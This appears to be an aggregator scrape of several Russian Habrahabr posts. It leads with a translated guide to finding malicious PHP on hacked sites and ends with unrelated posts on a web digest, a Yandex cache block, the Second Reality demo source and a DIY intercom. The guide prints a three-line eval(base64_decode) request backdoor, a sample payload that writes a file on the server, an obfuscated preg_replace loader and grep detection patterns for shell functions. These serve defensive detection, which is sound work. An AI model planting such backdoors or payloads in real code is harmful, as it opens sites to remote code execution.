[Перевод] Как узнать, что ваш PHP сайт был взломан

Сайт моего друга недавно был взломан, на нем была запущена старая версия IP.Board, в которой есть уязвимость локального внедрения кода (local file inclusion). Этот пост не будет посвящен IP.Board или другому php коду, он покажет, как найти потенциально вредоносный php код на ваших серверах. Наконец, покажу пример того, что злоумышленники могут загрузить на взломанный сайт.

Проверьте логи доступа

Что бы с чего-то начать, я бы хотел поделиться некоторыми записями из журнала доступа (access log) взломанного сайта моего друга.

<code class="bash">IpreMOVED - - [01/Mar/2013:06:16:48 -0600] "POST /uploads/monthly_10_2012/view.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"
IpreMOVED - - [01/Mar/2013:06:12:58 -0600] "POST /public/style_images/master/profile/blog.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"
</code>
Необходимо часто проверять журналы доступа на сервере, однако если вы не будете осторожны, URL такие как выше, которые на первый взгляд выглядят безобидно, могут пройти прямо мимо вас.

Два файла выше это загруженные взломщиком скрипты, как они туда попали, большой роли не играет, так как код на любых двух серверах, вероятно, будет различным. Тем не менее, в данном конкретном примере, уязвимость в устаревшей версии IP.Board была использована, и атакующие смогли добавить свои собственные скрипты в директории доступные для записи, такие как пользовательский каталог загрузки и каталог, в котором IP.Board хранит кэшированные изображения темы оформления. Это общий вектор атаки, много людей изменяют права на эти каталоги на 777 или дают им доступ на запись, подробнее об этом чуть позже.

Рассмотрим подробнее приведенные выше строки журнала, ничего не цепляет вас?

Обратите внимание, что в журнале доступа POST запросы, а не GET запросы.
Скорее всего, злоумышленники хотели сделать журнал доступа более неприметным, так как большинство журналов не сохраняют post данные.

Выявление вредоносных PHP файлов

Есть несколько способов, что бы выявить подозрительные php файлы на вашем сервере, вот самые лучшие.
Подсказка: эти команды, выполняйте из корневой директории вашего сайта.

Поиск недавно измененных PHP файлов
Давайте начнем с простого, скажем, вы не делали никаких изменений в php коде некоторое время, следующая команда ищет все php файлы в текущем дереве каталогов, которые изменились за последнюю неделю. Можете изменить опцию mtime по желанию, например mtime -14 в течении двух недель.

<code class="bash">find . -type f -name '*.php' -mtime -7</code>
Мой взломанный сервер возвратил такие результаты:

<code class="bash">./uploads/monthly_04_2008/index.php
./uploads/monthly_10_2008/index.php
./uploads/monthly_08_2009/template.php
./uploads/monthly_02_2013/index.php</code>
Все эти скрипты загружены злоумышленником в директорию загрузки пользователя.
Примечание: эта команда будет выдавать ложные результаты, если вы сами изменяли php файлы в данный период времени. Следующие методы являются гораздо более эффективными.

Искать все PHP файлы с подозрительным кодом
Это далеко не лучший подход, следующие команды ищут php файлы содержащие атакующие сценарии. Мы начнем с простого и получим больше с помощью расширенного поиска.

Первая проверка файлов которая содержит eval, base64_decode, gzinflate или str_rot13.

<code class="bash">find . -type f -name '*.php' | xargs grep -l "eval *(" --color
find . -type f -name '*.php' | xargs grep -l "base64_decode *(" --color
find . -type f -name '*.php' | xargs grep -l "gzinflate *(" --color</code>
Подсказка: первый параметр поиска это директория поиска, точка означает текущий каталог (и все вложенные каталоги). Можно изменить этот параметр в любое существующее имя каталога для уменьшения результатов поиска, например:

<code class="bash">find wp-admin -type f -name '*.php' | xargs grep -l "gzinflate *(" --color
</code>
Если вы удалите опцию -l из grep, он будет показывать текст совпавшего файла. Чтобы пойти дальше я бы воспользовался этой объединенной командой, которая является более общей

<code class="bash">find . -type f -name '*.php' | xargs grep -l "eval *(str_rot13 *(base64_decode *(" --color</code>
Эта команда найдет php файлы содержащие eval(str_rot13(base64_decode(
Синтаксис grep очень прост и вы можете изменить его под свои нужды. Взгляните на выражение сверху, по которому мы ищем, это «eval *(str_rot13 *(base64_decode *(»
Пробел следующий за * означает ноль или более символов пробела. Выше приведенное выражение будет справедливо для следующих строк:

<code class="bash">eval(str_rot13(base64_decode
eval( str_rot13( base64_decode
eval(  str_rot13( base64_decode
</code>
Совет: расширьте выражение для поиска функций, которые могут быть использованы злонамеренно, такие как mail, fsockopen, pfsockopen, stream_socket_client, exec, system и passthru. Можно скомбинировать все эти значения в одну команду:

<code class="bash">find . -type f -name '*.php' | xargs egrep -i "(mail|fsockopen|pfsockopen|stream_socket_client|exec|system|passthru|eval|base64_decode) *\("
</code>
Примечание: мы используем egrep, а не grep, это позволяет использовать расширенные регулярные выражения.
Наконец, вот не менее известный способ, что бы скрыть код:

<code class="php">preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'5b19fxq30jD8d/wp5C3tQoMx4CQ
 
FILE GOES ON FOR A LONG TIME......
 
lnSELWEZJakW9R3f7+J+uYuFiiC318gZ9P8C'\x29\x29\x29\x3B",".");</code>
preg_replace с e модификатором будет исполнять этот код, он выглядит необычно, однако это просто сжатый в формате base64 php код использующий некоторые шестнадцатеричные коды символов.
\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28 переводится как eval ( gzinflate ( base64_decode (, а \x29\x29\x29\x3B, как )) ) ;

Эта команда поможет вам найти использование preg_replace:
<code class="bash">find . -type f -name '*.php' | xargs egrep -i "preg_replace *\((['|\"])(.).*\2[a-z]*e[^\1]*\1 *," --color
</code>
Совет: если вы получаете тонну результатов выполнения данной команды, можно сохранить результат в файл или перенаправить их в другую программу под названием less, которая позволяет просматривать результаты по одной странице за раз. Клавиша f отвечает за прокрутку вперед, клавиша q за выход.

<code class="php">find . -type f -name '*.php' | xargs grep base64_ | less
find . -type f -name '*.php' | xargs grep base64_ > results.txt</code>
С любыми выше приведенными командами поиска можно поступить в том же духе.

Совет: обратили внимание на шестнадцатеричную x29 в конце? Это закрывающая скобка, а x3B точка с запятой. Вы можете убедиться в этом запустив:

<code class="php">echo chr(hexdec('x29'));
echo chr(hexdec('x3B'));
// outputs );</code>
Можете использовать find для поиска этих шестнадцатеричных кодов в php файлах для дальнейшей проверки.

<code class="bash">find . -type f -name '*.php' | xargs grep -il x29</code>
Это хороший подход если вы знаете, что не используете в коде шестнадцатеричные значения.

Констатируем факты
Большинство методов, предполагают, что злоумышленник загружает на север файлы и использует некоторые формы обфускации кода, когда другие злоумышленники могут просто изменить существующий php код. В этом случае код может выглядеть естественно и соответствовать стилю существующего сценария либо может быть запутанным.

Для того чтобы решить эту проблему вам нужна чистая копия вашего кода, если вы пользуетесь широко распространенными php скриптами, например wordpress, vbulletin, IP.Board и т.д. — все готово. Если нет, надеюсь вы используете git или другие системы контроля версий и вы можете получить чистую версию вашего кода.

Для этого примера я буду использовать wordpress.

У меня есть две папки wordpress-clean, которая содержит только что скачанную копию wordpress и wordpress-compromised, которая содержит угрозу где-то в файлах.

<code class="bash">drwxr-xr-x 4 greg greg 4096 Mar  2 15:59 .
drwxr-xr-x 4 greg greg 4096 Mar  2 15:59 ..
drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-clean
drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-compromised</code>
Я могу найти различия между моим установленным wordpress и чистым wordpress, выполнив команду:

<code class="bash">diff -r wordpress-clean/ wordpress-compromised/ -x wp-content</code>
Я исключил wp-content из этого поиска, ведь каждый имеет собственные темы и плагины.
Совет: убедитесь, что вы используете ту же версию wordpress для сравнения.

Вот результаты моего поиска:

<code class="php">diff -r -x wp-content wordpress-clean/wp-admin/includes/class-wp-importer.php wordpress-compromised/wp-admin/includes/class-wp-importer.php
302a303,306
> 
> if (isset($_REQUEST['x'])) {
>     eval(base64_decode($_REQUEST['x']));
> }</code>
Он обнаружил вредоносный код!

Из любопытства...
Что может сделать злоумышленник с этими 3 строками кода? Во-первых, атакующий узнал бы полезную информацию:

<code class="php">$payload = "file_put_contents(\"../../wp-content/uploads/wp-upload.php\", \"<?php\nphpinfo();\");";
echo base64_encode($payload);
// output: ZmlsZV9wdXRfY29udGVudHMoIi4uLy4uL3dwLWNvbnRlbnQvdXBsb2Fkcy93cC11cGxvYWQucGhwIiwgIjw/cGhwCnBocGluZm8oKTsiKTs=
</code>
Затем он отправил бы GET или POST запрос по адресу http:/ /YOURSITE/wp-admin/includes/class-wp-importer.php с параметром x содержащий сценарий созданный выше. В результате его выполнения будет создан файл /wp-content/uploads/wp-upload.php, который выводит информацию о вашем сервере. Это вроде не плохо, но дело в том что злоумышленник может запустить любой php код, который пожелает.
Примечание: это сработает только если каталог wp-content/uploads будет доступен для записи. Почти всегда в зависимости от настроек веб сервера вы можете изменять права чтения/записи на другие файлы.

Всегда ищите каталоги доступные для загрузки исполняемого кода
Используя методы, которые представлены выше, легко найти php код в вашей загрузочной директории. Для wordpress это было бы:

<code class="bash">find wp-content/uploads -type f -name '*.php'</code>
Совет: вот очень простой bash скрипт, который ищет директории доступные для записи и php файлы в них. Результат будет сохранен в файл results.txt. Скрипт работает рекурсивно.

<code class="bash">#!/bin/bash

search_dir=$(pwd)
writable_dirs=$(find $search_dir -type d -perm 0777)

for dir in $writable_dirs
do
    #echo $dir
    find $dir -type f -name '*.php'
done</code>
Назовите файл search_for_php_in_writable и дайте ему права на исполнение

<code class="bash">chmod +x search_for_php_in_writable</code>
Сохраните этот файл в вашем домашнем каталоге, а затем перейдите в каталог в котором вы собираетесь искать и выполните следующую команду:

<code class="php">~/search_for_php_in_writable > results.txt
~/search_for_php_in_writable | less</code>
Примечание: если ваш сайт находится на виртуальном хостинге и веб-сервер не безопасно настроен, ваш сайт может оказаться не единственным подверженным атаке. Общая загрузка php shell на уязвимых сайтах, по существу является инструментом, который дает злоумышленнику файл-браузер. Они могут использовать этот инструмент, что бы загрузить атакующие скрипты по всем папкам на сервере доступных для записи, например каталог загрузки.
Примечание: взломщики обычно пытаются загрузить изображения, которые содержат php код, поэтому проверяйте и другие расширения, методами перечисленными выше.

<code class="bash">find wp-content/uploads -type f | xargs grep -i php
find wp-content/uploads -type f -iname '*.jpg' | xargs grep -i php</code>
Не верите? Этот файл был загружен как jpg изображение на взломанный сайт. Похоже он был ошибочно принят за бинарные данные. Вот тот же файл в более «читаемом» формате.

Все еще не можете прочитать? Так же как и я до более глубокой проверки. Весь этот код предназначен для запуска этой функции:

<code class="php">if(!defined('FROM_IPB') && !function_exists("shutdownCallback") and @$_SERVER["HTTP_A"]=="b") {
    function shutdownCallback() {
        echo "<!--".md5("links")."-->";
    }
    register_shutdown_function("shutdownCallback");
}</code>
Что делает этот скрипт не имеет значения, вы должны усвоить, нужно проверять ваше загрузочные директории.
Если вам интересно, это просто пробный сценарий, что бы увидеть, является ли узел уязвимым, нападение произошло позже.

Где еще может скрываться вредоносный код?
Если ваш php код динамически генерирует содержимое страницы и ваш сайт был взломан, взломщик может записать вредоносный код в базу данных. Вы так же можете провести более тщательную проверку.

Перейдите на ваш сайт, после загрузки страницы посмотрите ее исходный HTML код и сохраните его где-то на вашем компьютере, например mywebsite.txt; Выполните следующую команду

<code class="php">grep -i '<iframe' mywebsite.txt
</code>
Взломщики часто вставляют iframe на взломанные сайты, проверьте все страницы сайта!
Совет: используйте расширение firebug для firefox, чтобы просмотреть содержимое html вашего ресурса, злоумышленник может использовать javascipt для создание iframe, они не будут отображаться при просмотре исходного кода страницы в браузере, потому что DOM изменяется после загрузки страницы. Существует так же расширение Live HTTP Headers для firefox, которое покажет все текущие запросы на вашей странице. Это позволит легко увидеть веб запросы, которых не должно быть.

Поиск в базе данных

Возможно злоумышленник добавил код в базу данных. Это будет только в том случае если ваш скрипт хранит пользовательский код, например плагины, в базе данных. Так делает vBulletin. Хотя это бывает редко, но вы должны это знать. Если вы в этом случае были взломаны, то злоумышленник вероятно вставить iframe в таблицы, которые отображают данные на вашем сайте.

В этом примере мы будем использовать mysql или его производные.

Для этого я бы хотел воспользоваться PHPMyAdmin и это для меня не обычно, я предпочитаю использовать инструменты командной строки, кода они доступны, однако этот инструмент является удобным для поиска.

Лично я не запускаю PHPMyAdmin на рабочем сервере, я скачиваю копию базы данных и запускаю ее на локальном сервере. Если база данных большая, не рекомендуется искать небольшие куски текста на рабочем сервере.

Откройте PHPMyAdmin выберите базу данных и нажмите 'Search'. Вы можете искать такие строки как %base64_% и %eval(%, и любые другие сочетания, которые я уже изложил.

Проверьте .htaccess файлы, если вы используете Apache

Если вы используете веб-сервер Apache, проверьте .htaccess файлы на подозрительные изменения.

auto_append_file и auto_prepend_file включают другие php файлы в начале или в конце всех php скриптов, злоумышленники могут использовать их для включения своего кода.

<code class="bash">find . -type f -name '\.htaccess' | xargs grep -i auto_prepend_file;
find . -type f -name '\.htaccess' | xargs grep -i auto_append_file;</code>
Следующая команда ищет во всех подкаталогах файлы .htacсess, которые содержат 'http'. Результатом поиска будет список всех правил перенаправлений, в которых могут быть и вредоносные правила.

<code class="bash">find . -type f -name '\.htaccess' | xargs grep -i http;</code>
Некоторые вредоносные перенаправления базируются на основе user agent. Было бы не плохо поискать использования HTTP_USER_AGENT в .htaccess файлах. Предыдущие команды можно легко изменить, просто поменяйте ключевое слово перед точкой запятой.

Для повышения уровня безопасности, если вы можете, отключите использование .htaccess в каталогах и переместите вашу конфигурацию в основную конфигурацию apache.

В «реальном мире»

Итак, почему люди хотят взломать ваш сайт, что это значит для них? Для одних это хобби, а для других источник дохода.

Вот пример атакующего скрипта загруженного на взломанный сайт. Он основан исключительно на post операциях, большинство логов веб серверов были бы бесполезны в данном случае. Я смог получить логи post запросов:

<code class="php">Array
(
    [lsRiY] => YGFsZWN2bXBCY21uLGFtbw==
    [eIHSE] => PNxsDhxNdV
    [mFgSo] => b2NrbmtsLzIwLG96LGNtbixhbW8=
    [dsByW] => PldRR1A8Y3BhamtnXWprYWlxPi1XUUdQPAg+TENPRzwgQ3BhamtnIkprYWlxID4tTENPRzwIPlFX
QEg8RFU4IlRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tUVdASDwiCD5RQE1GWzwIPkA8CD5m
a3Q8PmMianBnZD8ganZ2cjgtLWhndnh4aW5rYWlnbCxhbW8tdXIva2xhbndmZ3EtUWtvcm5nUmtn
LUZnYW1mZy1KVk9OLW5rYCxyanIgPFRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tYzw+LWZr
dDwIPi1APAg+cjxqY3JyZ2wuImNsZiJ1amdsInZqZyJgbXsicGdjYWpnZiJjZWNrbCJrbHZtInZq
ZyJ2bXsiYG16IksiZG13bGYib3txZ25kIkxndGdwImpnY3BmIm1kImt2LHZqZyIicmptdm1lcGNy
anEibWQidmpnImNwdmtkY2F2InZqY3YidWcidWdwZyJubW1pa2xlImRtcCIiY2xmIiJyY3FxZ2Yi
UnducWciImVtbWYuImpnInFja2YuImlsZ2dua2xlImBncWtmZyJtd3AiZHBrZ2xmLCJKZyJqY3Ei
InZjaWdsIiI+LXI8CD4tUUBNRls8CA==
 
    [GGhp] => a3ZAbFFTSlJSbFo=
    [AIQXa] => e3VWT2VvQ0hyS0ha
)</code>
Вредоносный скрипт в основном SPAM зомби, который будет отправлять любой email кому угодно, который использует ваш сервер для отправки писем, через post запрос. Ключи в каждом post запросе могут изменятся и скрипт очень находчивый, он проверяет установленные функции и приспосабливается к этому. Например если php mail() недоступен, он будет пытаться создать сокет на 25 порту и отправлять электронную почту непосредственно через SMTP.

Если вам интересно расшифровать данные злоумышленников, воспользуйтесь функцией которая называется n9a2d8ce3. Загадочные данные POST проставляют адрес назначения и содержание e-mail.

Если вы используете советы данные в этой статье, вам не составит труда обнаружить подобный скрипт.

Заключение

Если вы используете общедоступные php скрипты, как wordpress, обращайте внимание на критические или обновления для системы безопасности не только для базовой установки, но и для расширений, таких как плагины. Большинство нападающих будут пытаться найти тысячи сайтов с известными уязвимостями, так что если вы уязвимы, вас найдут в конце концов.

Если вы работаете над шабашкой, все равно код нужно постоянно проверять, ведь не должно быть уязвимостей в библиотеках, которые вы используете.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Дайджест интересных материалов из мира веб-разработки и IT за последнюю неделю №68 (28 июля — 3 августа 2013)

Предлагаем вашему вниманию очередную подборку с ссылками на новости, интересные материалы и полезные ресурсы.



Горячая семерка
Brainstorage
Создатели Хабрахабра запустили бета-версию карьерной соцсети Brainstorage, которая является рекрутинговым ресурсом и сетью профессиональных контактов одновременно. Также, небольшое интервью об этом стартапе с deniskin
Работаем с
Многим известно, что API карт от Google позволяет на различные модификации в зависимости от потребностей разработчиков. К примеру, вот так можно изменить кастомную иконку стандартного маркера на Google Maps, а вот так можно использовать гео-локационное API HTML5. Из более сложного — можно добавлять и кастомные оверлеи на карты
Фильтры для изображений
Предлагем вашему вниманию краткий обзор актуальных методов наложения фильтров на изображения c использованием HTML5 и CSS3
Создание 3D игры с помощью Three.js и WebGL
Современные веб-технологии позволяют относительно просто создавать трехмерные игры. В качестве примера можно посмотреть на процесс создания клона игры Pong, где разработчик воспользовался мощностью библиотеки Three.js, а также WebGL
Цвета: ссылки, книги и инструменты, которые сделают вашу жизнь проще
Цвет является очень важным элементом проекта, и выбору лучшей цветовой палитры для проекта следует выделить отдельное время. Кроме понимания теории цвета нужно иметь еще и представление о его психологии цвета. Размышляя об этом, авторы данной статьи решили собрать некоторые советы, книжные рекомендации, ссылки к интересным статьям, а также некоторые инструменты и приложения, которые сделают вашу жизнь легче, когда речь идет о цвете.
Фрагментация в Android
Компания OpenSignal провела глобальное исследование Android, где ею было насчитано более 11,8 тысяч устройств на Android разных производителей, с разными версиями прошивки и размерами экрана. Это еще раз подтвердило утверждение о «самой фрагментированной ОС, которая когда-либо существовала».
«Антипиратский» закон
«Антипиратский» закон вступил в силу, Первый иск по новому закону, разбор антипиратского закона по косточкам. Антипиратский закон может затронуть Украину, хотя в РФ он пока не «выстрелил»

Веб-разработка
CSS
JavaScripts
Браузеры
Новости
Сервисы
Демо
Сайты с интересным дизайном и функциональностью
  • solis.it — относительно простой, но стильный музыкальный сайт
  • 100ansdetour.fr — сайт посвященный турниру Tour de France, с активным использованием анимации и SVG
  • kitchenprague.com — креативный плиточный сайт с GIF- и CSS3-анимацией
  • vespillo-lefilm.com — нестандартная навигация и приятная анимация
  • fontstage.de — большой стильный одностраничный сайт с качественными иллюстрациями и эффектами
  • thetownthatcameinfromthecold.com — CSS анимация, параллаксы и звуки в фоне
Дизайн
Подборка бесплатных дизайнерских печенек
Занимательное

Дайджест за прошлую неделю.
Материал подготовили dersmoll и alekskorovin

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


[recovery mode] И снова сертификат Mail.ru

Напоминаю, начало истории тут: habrahabr.ru/post/179981/

На этой странице был обнаружен фишинговый баннер flash-плеера:
oracle-fl-player.com/update2.

Прошло уже три месяца, но ничего не изменилось. Файл подписан сертификатом LLC Mail.Ru. Если у них была утечка — они до сих пор его не отозвали, если утечки не было — какого черта?

UPD.: Подана жалоба в Thawte

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Воронежский суд заблокировал «кеш» Яндекса

Дождался я этого, когда Яндекс заблокируют за найденный контент.


http://minjust.ru/ru/extremist-materials?search=&page=9, а именно 1913 пункт
Текст миниатюры «Заповеди антисемита», размещенной на сайте сети «Интернет» по адресу: http//hghltd.yandex.net, по ссылке: zilya-16.livejournal.com>4615.htmlкопия (решение Ленинского районного суда г. Воронежа от 07.02.2013);
Т. е. теперь проект Яндекса «копия сайта» (или как он правильно называется?) полностью заблокирован по решению Воронежского суда.

UPD: Bad image path3 — именно это и должно быть на странице http//hghltd.yandex.net если сайт у вас не заблокирован.


Заблокирован ли у вас http//hghltd.yandex.net?


Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста. Проголосовало 1685 человек. Воздержалось 516 человек.


Да



Нет


Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Исходный код Second Reality передан в общественное достояние

Пару дней назад Mika Tuomi, известный как Trug, передал исходный код Second Reality в общественное достояние.


Second Reality — это демо, занявшее первое место на демопати Assembly '93. Оно было создано командой Future Crew, которая на тот момент состояла из 12-ти человек. Впоследствии ее члены основали такие компании как Futuremark и Remedy Entertainment. Считается, что это демо оказало огромное влияние на развитие демосцены.

Статья о Future Crew в Википедии (англ.)
Статья о Second Reality в Википедии
Бинарники
Исходный код на Гитхабе

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Создание умного домофона с автоответчиком и Интернет-соединением

Не так давно я чинил домофонную трубку и задумался — а не сделать ли мне небольшую модернизацию? Научить его уведомлять меня через Интернет о том, что кто-то приходил или даже удалённо открывать дверь с мобильного телефона… А затем я решил — почему бы вообще не сделать автоответчик? На телефонах сейчас автоответчик уже мало кому нужен, а вот знать, кто же ко мне приходил, было бы весьма полезно, особенно при том, что я не привык брать трубку, если никого не жду. Воплотить идею в реальность оказалось не так уж сложно.


У меня домофон Cyfral, после недолгих поисков я нашёл кучу разных схем их трубок. Судя по всему, домофоны других компаних работают по примерно такому же принципу. Схему своей трубки я начертил сам (мог допустить ошибки):

image

Принцип работы прост. Пока домофон не используется, питания в линии нет. Когда трубка лежит, динамик напрямую соединён с линией, сопротивление трубки при этом менее 50 Ом (домофон будет ругаться и выдавать ошибку, если это не так). Когда трубку снимают, размыкается SW2, включается микрофонный усилитель, и сопротивление трубки возрастает, за счёт чего домофон и понимает, что начался разговор. Когда нужно открыть дверь, нажимается кнопка SW1, в результате чего сопротивление трубки вырастает ещё сильнее.

Я решил вытащить плату из обычной трубки, подпаяться прямо к ней и поместить всё это в винтажный корпус старого настенного дискового телефона.

Какие же точки на схеме нужны? Во-первых, нужно отслеживать наличие сигнала в линии, чтобы понимать, когда кто-то звонит, и когда разговор завершён. Для этого нужен плюсовой провод от домофонной линии (да, там важна полярность), а лучше точка после защитного диода D1. Для того, чтобы симулировать снятие трубки, нужно поставить реле последовательно с SW2. Для открытия двери нужно либо замыкать базу транзистора на землю, либо тупо размыкать цепь. Для воспроизведения звука нужно подавать сигнал на MIC- через резистор в 10-15 кОм. Самой сложной задачей оказалась запись звука. Можно поставить на выводы динамика трансформатор для гальванической развязки или просто через конденсатор получить переменную составляющую. Эксперименты показали, что особой разницы нет.

Для своего проекта я взял микроконтроллер ATMEGA64. У него есть аппаратный ШИМ, который вполне неплохо справляется с воспроизведением звука, а аналого-цифровой преобразователь можно использовать для записи звука. Данные было решено хранить на обычной SD-карте. Для переключения между трубкой (обычный режим) и микроконтроллером (запись/воспроизведение звука) я задействовал электромагнитные реле. Кстати, при таком варианте трубка становится самой обычной в случае, если пропадает внешнее питание. Ну а для связи с внешним миром я решил использовать свою самодельную сеть, о которой писал в другой статье.

Основная плата получилась такой (реле вынес на отдельную):

image

Готовый вид:

image

В корпусе телефона:

image

Да, получилось не очень-то аккуратно… Я плохо делаю всё, что делаю руками.

Итоговый вид:

image

Демонстрация работы: